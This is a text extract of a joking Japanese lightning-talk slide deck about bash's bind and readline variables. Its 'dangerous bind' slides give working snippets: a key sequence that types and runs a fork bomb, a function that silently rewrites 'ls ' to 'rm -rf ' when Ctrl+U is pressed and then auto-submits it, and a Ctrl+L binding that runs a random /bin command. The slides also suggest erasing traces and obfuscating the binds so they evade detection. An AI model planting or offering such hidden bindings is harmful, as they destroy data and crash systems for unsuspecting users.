SlideShare uma empresa Scribd logo
1 de 28
潜入工作任務用シェル芸
たいちょー
みなさん#!/bin/bash(こんにちはの意)
たいちょーです
@xztaityozx_001 <-- Twitterです
C#だいすき!大学X年生!
ターミナルに込められた暗黒の力でシェル芸人
やってまーす
今回も
難読化のお話をしたいとおもいます
でもネタ切れです
ひねり出して考えたんですけど
という感じだったのでタイトルから消しちゃい
ました
難読化なのかこれは・・・?
難読化シェル芸 #とは
kanata氏考案のヤバいシェル芸
定義
内部的な動作の手続き内容・構造・データなどを人
間が理解しにくい、あるいはそのようになるよう加
工されたシェル芸のこと。
-- A painter and a black cat より
最近の情勢
ダブルシンク難読化シェル芸のおかげで危険
シェル芸人と一般シェル芸人の間に平和が訪れ
た
この平和はしばらく続くだろう
※フィクションです
最近の情勢
しかし一部の過激な危険シェル芸人は平和すぎ
る今に不満を持っている
「俺たちのような戦争屋(危険シェル芸人のこと)が
戦争以外に何をすればいい?」
闘争は人間の本能か
危険シェル芸検知技術
現在はキーロガーやタイプ音盗聴によって危険
シェル芸が禁止されておりほぼ不可能
そこで使うのが
潜入工作任務用シェル芸
潜入の基本は気づかれないこと
気づかれないように危険シェル芸をする
難読化してもキーロガーでバレるため普通にタプす
るのは不可能
なんかないかなあ
bind
bashのreadlineとbind
bindはbashのキーバインドを設定するやつ
readlineはコマンドライン編集のライブラリ
前回の東京の方のLTでbashrcの話があったけ
ど意外とbindに関してはなかった
みんな使ってない系・・・?
READLINE_LINEとREADLINE_POINT
READLINE_LINEは現在入力されている文字列
READLINE_POINTには現在のカーソル位置
bindから呼び出される関数内でこれを変更すれ
ば現在の入力とかを自由にできる
READLINE_LINEとREADLINE_POINT
皆さまお得意のシェル芸でREADLINE_LINEと
READLINE_POINTを書き換えるような関数を定
義し、bindすると楽しいターミナルライフ
vimのバインドも再現できるかも!?
ここでediting mode viとかいう人・・・!
禁足事項です
ぼくのbind設定例
実際にご覧ください→
分かりにくいかもしれませんが・・・
危険bindを使う
キーバインドならキーロガーでバレない
bashrc見られたらバレる
意地でもbashrcを見せないぞという堅牢な意思
を持った危険シェル芸人向け
危険bind例1
素直にbindに仕込む
記号になってつらい
bind '"C-xfb":"C-eC-u:(){ :|:
& };:C-m"'
入力キー:Ctrl+x f b
動作:行末に移動(C-e)→全消し(C-u)→フォーク
爆弾展開→エンター(C-m)
ビビったecho版
bind '"C-xfb":"C-eC-uecho abcC-m"'
危険bind例2
いつものバインドを書き換え
危険
いつも使っているバインドに上書きして誰かが
起爆させるのを待つ
想定ケース よ~しシェル芸しちゃう
ぞ!
ls /bin/
/binにあるコマ
ンドはこれだけ
か!
ならアレができ
るな!一度消す
ぞ!
Ctrl+u
シェル芸人X
C-uに仕込む
__kiken_sed__(){
READLINE_LINE=$(echo $READLINE_LINE|sed
's/^ls /rm -rf /');
READLINE_POINT=${#READLINE_LINE};
}
bind -x '"C-u":"__kiken_sed__C-m"'
発動させると
ls /bin/
↓
rm -rf /bin/
C-mがあるので自動的にEnterが送信される
危険bind例3
ランダムにコマンドを実行する
/bin/にあるものを1つ選んで実行
__rand_select__(){
READLINE_LINE="$(ls -1 /bin/|shuf|head
-n1)"
READLINE_POINT=${#READLINE_LINE}
}
bind -x '"C-l":"clear;__rand_select__C-
m"'
動作
クリアーしようとCtrl+l押すとクリアされてラ
ンダムにコマンドが実行される
潜入工作員になるために
ここまでの例に
痕跡を消す
関数定義削除やバインド解除
bind自体の難読化
やはり難読化
などを追加すれば君も潜入工作シェル芸人だ!
目指せ!伝説の傭兵!
おわかりいただけただろうか
bindとreadlineが以下に強力なのかが解って
いただけたでしょうか
これを聞いた皆さんは危険bindをしてもいいし
しなくてもいい。ぼくはしない
bindしよう!
https://github.com/xztaityozx/dotfil
es/blob/master/bind.bash
ここに僕のbind定義ファイルを置いておきます
気になったらご覧ください
こういうbindテクあるよ!というのも聞きたい
です!!
参考
http://hogem.hatenablog.com/entry/20
090411/1239451878

Mais conteúdo relacionado

Mais de xztaityozx

あの、selのリベンジをさせてください
あの、selのリベンジをさせてくださいあの、selのリベンジをさせてください
あの、selのリベンジをさせてくださいxztaityozx
 
Owari version 2.0 をつくりました
Owari version 2.0 をつくりましたOwari version 2.0 をつくりました
Owari version 2.0 をつくりましたxztaityozx
 
実績を達成しました!
実績を達成しました!実績を達成しました!
実績を達成しました!xztaityozx
 
ワタナBase59
ワタナBase59ワタナBase59
ワタナBase59xztaityozx
 
ocsとselってコマンド作ったわよ
ocsとselってコマンド作ったわよocsとselってコマンド作ったわよ
ocsとselってコマンド作ったわよxztaityozx
 
ワタナベシェル
ワタナベシェルワタナベシェル
ワタナベシェルxztaityozx
 
難読化PowerShell芸入門
難読化PowerShell芸入門難読化PowerShell芸入門
難読化PowerShell芸入門xztaityozx
 
シェル芸をドット絵にして思いを伝えよう!
シェル芸をドット絵にして思いを伝えよう!シェル芸をドット絵にして思いを伝えよう!
シェル芸をドット絵にして思いを伝えよう!xztaityozx
 
終わりを出力するコマンドつくった
終わりを出力するコマンドつくった終わりを出力するコマンドつくった
終わりを出力するコマンドつくったxztaityozx
 
ワタナベ難読化シェル芸
ワタナベ難読化シェル芸ワタナベ難読化シェル芸
ワタナベ難読化シェル芸xztaityozx
 
~/.bashrcを難読化しよう!
~/.bashrcを難読化しよう!~/.bashrcを難読化しよう!
~/.bashrcを難読化しよう!xztaityozx
 
レッツゴー難読化シェル芸
レッツゴー難読化シェル芸レッツゴー難読化シェル芸
レッツゴー難読化シェル芸xztaityozx
 
超・記号オンリー難読化シェル芸
超・記号オンリー難読化シェル芸超・記号オンリー難読化シェル芸
超・記号オンリー難読化シェル芸xztaityozx
 
部活でシェル芸がはやらない
部活でシェル芸がはやらない部活でシェル芸がはやらない
部活でシェル芸がはやらないxztaityozx
 
ダブルシンク難読化シェル芸
ダブルシンク難読化シェル芸ダブルシンク難読化シェル芸
ダブルシンク難読化シェル芸xztaityozx
 
破壊的難読化シェル芸
破壊的難読化シェル芸破壊的難読化シェル芸
破壊的難読化シェル芸xztaityozx
 
みんなで!Base64難読化シェル芸
みんなで!Base64難読化シェル芸みんなで!Base64難読化シェル芸
みんなで!Base64難読化シェル芸xztaityozx
 
シェル芸で使いたくてLINQが使えるコマンドを作ったらawkでよかった話
シェル芸で使いたくてLINQが使えるコマンドを作ったらawkでよかった話シェル芸で使いたくてLINQが使えるコマンドを作ったらawkでよかった話
シェル芸で使いたくてLINQが使えるコマンドを作ったらawkでよかった話xztaityozx
 
難読化シェル芸
難読化シェル芸難読化シェル芸
難読化シェル芸xztaityozx
 

Mais de xztaityozx (20)

あの、selのリベンジをさせてください
あの、selのリベンジをさせてくださいあの、selのリベンジをさせてください
あの、selのリベンジをさせてください
 
Owari version 2.0 をつくりました
Owari version 2.0 をつくりましたOwari version 2.0 をつくりました
Owari version 2.0 をつくりました
 
実績を達成しました!
実績を達成しました!実績を達成しました!
実績を達成しました!
 
ワタナBase59
ワタナBase59ワタナBase59
ワタナBase59
 
ocsとselってコマンド作ったわよ
ocsとselってコマンド作ったわよocsとselってコマンド作ったわよ
ocsとselってコマンド作ったわよ
 
ワタナベシェル
ワタナベシェルワタナベシェル
ワタナベシェル
 
柿と杮
柿と杮柿と杮
柿と杮
 
難読化PowerShell芸入門
難読化PowerShell芸入門難読化PowerShell芸入門
難読化PowerShell芸入門
 
シェル芸をドット絵にして思いを伝えよう!
シェル芸をドット絵にして思いを伝えよう!シェル芸をドット絵にして思いを伝えよう!
シェル芸をドット絵にして思いを伝えよう!
 
終わりを出力するコマンドつくった
終わりを出力するコマンドつくった終わりを出力するコマンドつくった
終わりを出力するコマンドつくった
 
ワタナベ難読化シェル芸
ワタナベ難読化シェル芸ワタナベ難読化シェル芸
ワタナベ難読化シェル芸
 
~/.bashrcを難読化しよう!
~/.bashrcを難読化しよう!~/.bashrcを難読化しよう!
~/.bashrcを難読化しよう!
 
レッツゴー難読化シェル芸
レッツゴー難読化シェル芸レッツゴー難読化シェル芸
レッツゴー難読化シェル芸
 
超・記号オンリー難読化シェル芸
超・記号オンリー難読化シェル芸超・記号オンリー難読化シェル芸
超・記号オンリー難読化シェル芸
 
部活でシェル芸がはやらない
部活でシェル芸がはやらない部活でシェル芸がはやらない
部活でシェル芸がはやらない
 
ダブルシンク難読化シェル芸
ダブルシンク難読化シェル芸ダブルシンク難読化シェル芸
ダブルシンク難読化シェル芸
 
破壊的難読化シェル芸
破壊的難読化シェル芸破壊的難読化シェル芸
破壊的難読化シェル芸
 
みんなで!Base64難読化シェル芸
みんなで!Base64難読化シェル芸みんなで!Base64難読化シェル芸
みんなで!Base64難読化シェル芸
 
シェル芸で使いたくてLINQが使えるコマンドを作ったらawkでよかった話
シェル芸で使いたくてLINQが使えるコマンドを作ったらawkでよかった話シェル芸で使いたくてLINQが使えるコマンドを作ったらawkでよかった話
シェル芸で使いたくてLINQが使えるコマンドを作ったらawkでよかった話
 
難読化シェル芸
難読化シェル芸難読化シェル芸
難読化シェル芸
 

潜入工作任務用シェル芸